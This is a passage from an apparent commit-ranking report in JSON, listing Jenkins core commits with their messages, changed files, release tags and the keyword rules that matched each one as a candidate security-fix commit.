"jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "CHANGES_RELEVANT_CODE", - "message": "The commit modifies code containing relevant filename or methods: CLI", - "relevance": 8 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8790", - "relevance": 2 - } - ] - }, - { - "commit_id": "b0cec677280708bbfafd3eb5eaa2bc98b241fc07", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1702975375, - "hunks": 4, - "message": "Add telemetry for basic Java system properties (#8787)", - "changed_files": [ - "core/src/main/java/jenkins/telemetry/impl/JavaSystemProperties.java", - "core/src/main/resources/hudson/model/UsageStatistics/help-usageStatisticsCollected.jelly", - "core/src/main/resources/jenkins/telemetry/impl/JavaSystemProperties/description.jelly", - "core/src/main/resources/jenkins/telemetry/impl/JavaSystemProperties/description.properties" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8787": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: system", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: system", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8787", - "relevance": 2 - } - ] - }, - { - "commit_id": "a190edf08212d87fc1ed238e96ed64f529abdefa", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1699154525, - "hunks": 2, - "message": "[JENKINS-72252] Warn 12 months and 3 months before end of Java support (#8661) Show Java version admin monitor at 12 months and 3 months Daniel Beck described his recommendation to alert users at 12 months and at 3 months prior to the end of support of a Java version. He wrote: > The second warning in particular needs to strike a balance between > being shown late enough so it's actually relevant for whoever hasn't > acted yet, while being shown early enough that slightly more elaborate > environments (difficult to schedule maintenance windows) are informed > in time. 3 months aligns rather nicely with the LTS schedule where > we kinda expect folks to do that anyway. > > 18/9, or even 12/6 errs too far on the side of those for whom this is > extreme effort (and who dismissed the first message more appropriate for > their environment!), while showing everyone else completely irrelevant > notices they won't care about for many months to come. https://github.com/jenkinsci/jep/pull/400#discussion_r1371510566 provides more details. The Java 8 to Java 11 transition saw a significant change in adoption of Java 11 once the admin monitor was visible to users. That was shown slightly over 12 months before the release that required Java 11. This change continues that pattern of 12 months warning before end of support. https://github.com/jenkinsci/jep/pull/400#discussion_r1375623888 has a graph that shows the adoption curves for Java 8, Java 11, and Java 17. (cherry picked from commit aeb64c0c3d097131b3f59d7fe9d1cce1f41de336)", - "changed_files": [ - "core/src/main/java/jenkins/monitor/JavaVersionRecommendationAdminMonitor.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8661": "2+2+2 Java Support Plan jenkinsci/jep#400 Fix link to end of Java support changelog entry for 2.426.2 jenkins-infra/jenkins.io#6946" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.426.2", - "jenkins-2.426.2-rc-1", - "jenkins-2.426.3", - "jenkins-2.426.3-rc" - ], - "matched_rules": [ - { - "id": "RELEVANT_WORDS_IN_MESSAGE", - "message": "The commit message contains some relevant words: LTS", - "relevance": 8 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8661", - "relevance": 2 - } - ] - }, - { - "commit_id": "4089150245288c2fd8c1036ea4b4d597ef995d88", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1707839297, - "hunks": 4, - "message": "Don't animate admin monitor popup on page load, properly remove interactable UI elements (#8954) * followup for #8941, don't animate on page load PR #8941 caused a regression that the hiding animation was played on page load. This change ensures that the hiding animation is only applied when the widget was visible before * scale to 0 (cherry picked from commit e5fd9127b73b640cd639695cbbcb59d985f836c0)", - "changed_files": [ - "core/src/main/resources/jenkins/management/AdministrativeMonitorsDecorator/resources.css", - "core/src/main/resources/jenkins/management/AdministrativeMonitorsDecorator/resources.js" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8941": "Update appearance of controls in header #8791 [JENKINS-72679] Don't animate admin monitor popup on page load, properly remove interactable UI elements #8954 [JENKINS-72679] Revert #8791 #8956", - "8954": "[JENKINS-72679] Allow button clicks after an administrative monitor popup is closed #8941 [JENKINS-72679] Revert #8791 #8956 Jenkins LTS 2.452.1 - create changelog & upgrade guide jenkins-infra/jenkins.io#7275" - }, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "e5fd9127b73b640cd639695cbbcb59d985f836c0" - ] - ], - "tags": [ - "jenkins-2.440.1", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: follow", - "relevance": 4 - }, - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8941, 8954", - "relevance": 2 - } - ] - }, - { - "commit_id": "77c2115fa87457d6f744695b27a397a353c27a06", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1705424857, - "hunks": 5, - "message": "[SECURITY-3315] (cherry picked from commit de450967f38398169650b55c002f1229a3fcdb1b)", - "changed_files": [ - "core/src/main/java/hudson/cli/CLIAction.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc" - ], - "matched_rules": [ - { - "id": "CHANGES_RELEVANT_CODE", - "message": "The commit modifies code containing relevant filename or methods: CLI", - "relevance": 8 - } - ] - }, - { - "commit_id": "1da7c9cb68b607d9a560974430c80e3f823c3e64", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1710448466, - "hunks": 6, - "message": "Add help text for Markup Formatter setting (#9038) * Restore help text for Markup Formatter setting * Update core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-markupFormatter.html Co-authored-by: Mark Waite * mvn -pl war frontend:yarn -Dfrontend.yarn.arguments=lint:fix --------- Co-authored-by: Daniel Beck Co-authored-by: Mark Waite ", - "changed_files": [ - "core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-markupFormatter.html", - "core/src/main/resources/jenkins/model/Jenkins/help-markupFormatter.html", - "core/src/main/resources/jenkins/model/Jenkins/help-markupFormatter_bg.html", - "core/src/main/resources/jenkins/model/Jenkins/help-markupFormatter_it.html", - "core/src/main/resources/jenkins/model/Jenkins/help-markupFormatter_ja.html", - "core/src/main/resources/jenkins/model/Jenkins/help-markupFormatter_zh_TW.html" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "9038": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: argument", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 9038", - "relevance": 2 - } - ] - }, - { - "commit_id": "89195cc248eb973dae4212d613914d616805bc1d", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1709734771, - "hunks": 2, - "message": "[JENKINS-72796] stable context classloader for Computer.threadPoolForRemoting (#9012) * [JENKINS-72796] stable context classloader for Computer.threadPoolForRemoting Whilst the threadpool used reset the context classloader at the end of any task, it did not ensure that the initial c;lassloader used was anything sepcific, rather it would use whatever the calling threads contextClassLoader was. This is now fixed as we use the Jenkins WebApp classloader (same as the Timer) which is used by (A)PeriodicTasks. Whilst we should really not have a context classloader (aka null) and this should be set where needed by code, almost everywhere in Jenkins the context classloader is already the webapp classloader, and so setting this to be different depending on how things where called would seemingly be a little scary. Arguably this and other context classloaders should be all set to null and any code that wants different should be changed, but this is a larger piece of work that would have potential impact on an unknown number of plugins in the ecosystem, so this fix uses what was set > 90% of the time. * Update core/src/test/java/hudson/model/ComputerTest.java --------- Co-authored-by: Tim Jacomb <21194782+timja@users.noreply.github.com>", - "changed_files": [ - "core/src/main/java/hudson/model/Computer.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "9012": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: read, system", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 9012", - "relevance": 2 - } - ] - }, - { - "commit_id": "c7ccbfdde15511b29b0b649b62b1d9fec09284dd", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1709563570, - "hunks": 1, - "message": "[JENKINS-72799] Apply `SlaveComputer.decorate` also to `openLogFile` (#9009)", - "changed_files": [ - "core/src/main/java/hudson/slaves/SlaveComputer.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "9009": "Overhaul of SlaveLaunchLogs jenkinsci/support-core-plugin#517 Deleting Jenkins72799Hack jenkinsci/support-core-plugin#532" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: file", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 9009", - "relevance": 2 - } - ] - }, - { - "commit_id": "77731ddea9a0e8f76fb87a4c0fd3a27e745ef3c6", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1709458502, - "hunks": 8, - "message": "Remove usages of `ArrayUtils` (#9001)", - "changed_files": [ - "core/src/main/java/hudson/model/Run.java", - "core/src/main/java/hudson/util/MultipartFormDataParser.java", - "core/src/main/java/hudson/util/Protector.java", - "core/src/main/java/jenkins/security/ResourceDomainRootAction.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "9001": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: parser", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 9001", - "relevance": 2 - } - ] - }, - { - "commit_id": "02c99cb3de4af5f41b4a12df84d16e9917cf8db8", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1709458490, - "hunks": 1, - "message": "Replace pipeline-stage-view with graph-view in the setup wizard (#8884) Signed-off-by: Alexander Brandes ", - "changed_files": [ - "core/src/main/resources/jenkins/install/platform-plugins.json" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8884": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: replace", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8884", - "relevance": 2 - } - ] - }, - { - "commit_id": "a174f985d4574f9056afd497694456ee0988a975", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1709331507, - "hunks": 1, - "message": "[JENKINS-72759] fix handling of readonly for select without parent div (#8984) [JENKINS-72759] fix handling of readonly for selects when no parent div is present that has .jenkins-select we get a null element and the script runs into an error.", - "changed_files": [ - "core/src/main/resources/lib/form/select/select.js" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8984": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: read", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8984", - "relevance": 2 - } - ] - }, - { - "commit_id": "d42e0786a4e2cf90fbec11c1009578d994c7deee", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1709155310, - "hunks": 5, - "message": "Null out `ProxyConfiguration.userName` on save (#8990) * Null out `ProxyConfiguration.userName` on save * Since we already have a `readResolve`, may as well use it to clean up historical `userName` of `\"\"` https://github.com/jenkinsci/jenkins/pull/8990#discussion_r1502295510 * Linking to new JDK-8326949", - "changed_files": [ - "core/src/main/java/hudson/ProxyConfiguration.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8990": "Feature/token jenkinsci/jira-steps-plugin#187" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: read", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8990", - "relevance": 2 - } - ] - }, - { - "commit_id": "885978daf0b218e4956f3df262b96a9234c421ae", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1708756408, - "hunks": 1, - "message": "use symbol for parameters in build history of pending jobs (#8977) use symbol for parameters in build history replace the notepad icon in the build history for pending jobs with the symbol for parameters Remove the wrapper in a link that does nothing except altering the location", - "changed_files": [ - "core/src/main/resources/jenkins/widgets/HistoryPageFilter/queue-items.jelly" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8977": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: replace", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8977", - "relevance": 2 - } - ] - }, - { - "commit_id": "5304da10a6f24088a56c4a00e1d3c7058c7b63fa", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1708351161, - "hunks": 53, - "message": "[JENKINS-69113] renovate progressBar (#8821) * [JENKINS-69113] renovate progressBar The progressbar used at various places is replaced by a div/span compbination and gets a new styling that is in sync with other ui elements. Mainly it has rounded corners. The bar is always animated opposed to old behaviour where it was only animated when the estimated remaining time was unknown. Animation is now based on css and no longer a gif. All colors are defined via variables so they can be adjusted by themes. The build progress bar shown on run and console views is now updated dynamically. The progress bar used in progressive rendering is doubled in size to make it more prominent that it is still running (See [JENKINS-72138], this doesn't solve the problem but might lower the chance that people reload the mentioned page because they think nothing happens). * apply prettier * scss style * set status url the parameters page also includes the buildCaption.jelly. But the js is using a relative url thus accessing `statusIcon` fails. Store status url in the div and read from there. * apply behaviour so tooltip is shown after icon update fix url * incorporate feedback use existing colors only animate when unknown or with flag animate via build caption and progressive rendering * adjust class name * adjust bg color * fix style * sRGB * avoid j:out --------- Co-authored-by: Alexander Brandes ", - "changed_files": [ - "core/src/main/resources/hudson/model/Run/statusIcon.jelly", - "core/src/main/resources/hudson/model/UpdateCenter/DownloadJob/Installing/status.jelly", - "core/src/main/resources/lib/hudson/build-caption.js", - "core/src/main/resources/lib/hudson/buildCaption.jelly", - "core/src/main/resources/lib/hudson/buildProgressBar.jelly", - "core/src/main/resources/lib/hudson/buildProgressBar.properties", - "core/src/main/resources/lib/hudson/buildProgressBar_bg.properties", - "core/src/main/resources/lib/hudson/buildProgressBar_ca.properties", - "core/src/main/resources/lib/hudson/buildProgressBar_cs.properties", - "core/src/main/resources/lib/hudson/buildProgressBar_da.properties", - "core/src/main/resources/lib/hudson/buildProgressBar_de.properties", - "core/src/main/resources/lib/hudson/buildProgressBar_el.properties", - "core/src/main/resources/lib/hudson/buildProgressBar_es.properties", - "core/src/main/resources/lib/hudson/buildProgressBar_es_AR.properties", - "core/src/main/resources/lib/hudson/buildProgressBar_et.properties", - "core/src/main/resources/lib/hudson/buildProgressBar_fi.properties", - "core/src/main/resources/lib/hudson/buildProgressBar_fr.properties", - "core/src/main/resources/lib/hudson/buildProgressBar_he.properties", - "core/src/main/resources/lib/hudson/buildProgressBar_hu.properties", - "core/src/main/resources/lib/hudson/buildProgressBar_it.properties", - "core/src/main/resources/lib/hudson/buildProgressBar_ja.properties", - "core/src/main/resources/lib/hudson/buildProgressBar_ko.properties", - "core/src/main/resources/lib/hudson/buildProgressBar_lt.properties", - "core/src/main/resources/lib/hudson/buildProgressBar_lv.properties", - "core/src/main/resources/lib/hudson/buildProgressBar_nb_NO.properties", - "core/src/main/resources/lib/hudson/buildProgressBar_nl.properties", - "core/src/main/resources/lib/hudson/buildProgressBar_pl.properties", - "core/src/main/resources/lib/hudson/buildProgressBar_pt_BR.properties", - "core/src/main/resources/lib/hudson/buildProgressBar_pt_PT.properties", - "core/src/main/resources/lib/hudson/buildProgressBar_ro.properties", - "core/src/main/resources/lib/hudson/buildProgressBar_ru.properties", - "core/src/main/resources/lib/hudson/buildProgressBar_sk.properties", - "core/src/main/resources/lib/hudson/buildProgressBar_sl.properties", - "core/src/main/resources/lib/hudson/buildProgressBar_sr.properties", - "core/src/main/resources/lib/hudson/buildProgressBar_sv_SE.properties", - "core/src/main/resources/lib/hudson/buildProgressBar_tr.properties", - "core/src/main/resources/lib/hudson/buildProgressBar_zh_TW.properties", - "core/src/main/resources/lib/hudson/progressBar.jelly", - "core/src/main/resources/lib/layout/progressiveRendering.jelly", - "core/src/main/resources/lib/layout/progressiveRendering/progressiveRendering.js", - "war/src/main/scss/components/_index.scss", - "war/src/main/scss/components/_progress-bar.scss", - "war/src/main/webapp/scripts/hudson-behavior.js" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8821": "Add information on progress bars jenkinsci/design-library-plugin#305 Update dependency org.jenkins-ci.main:jenkins-war to v2.446 jenkinsci/bom#2936 compatibility for new progressbar rendering jenkinsci/acceptance-test-harness#1493 Make NoTriggerBranchPropertyTest pass against 2.446 jenkinsci/branch-api-plugin#435" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: replace, read", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8821", - "relevance": 2 - } - ] - }, - { - "commit_id": "824f64c23e52e5c765cc7604414740aab3436f8d", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1708244270, - "hunks": 2, - "message": "Allow update sites to define a custom URL for wizard plugin suggestion (#8951) * currently suggested plugins list as setup time is hardcoded, we can make it configurable Signed-off-by: Olivier Lamy * add new method to UpdateSite to avoid using System property Signed-off-by: Olivier Lamy * Update core/src/main/java/hudson/model/UpdateSite.java Co-authored-by: Tim Jacomb <21194782+timja@users.noreply.github.com> --------- Signed-off-by: Olivier Lamy Co-authored-by: Tim Jacomb <21194782+timja@users.noreply.github.com> Co-authored-by: Alexander Brandes ", - "changed_files": [ - "core/src/main/java/hudson/model/UpdateSite.java", - "core/src/main/java/jenkins/install/SetupWizard.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8951": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: allow, 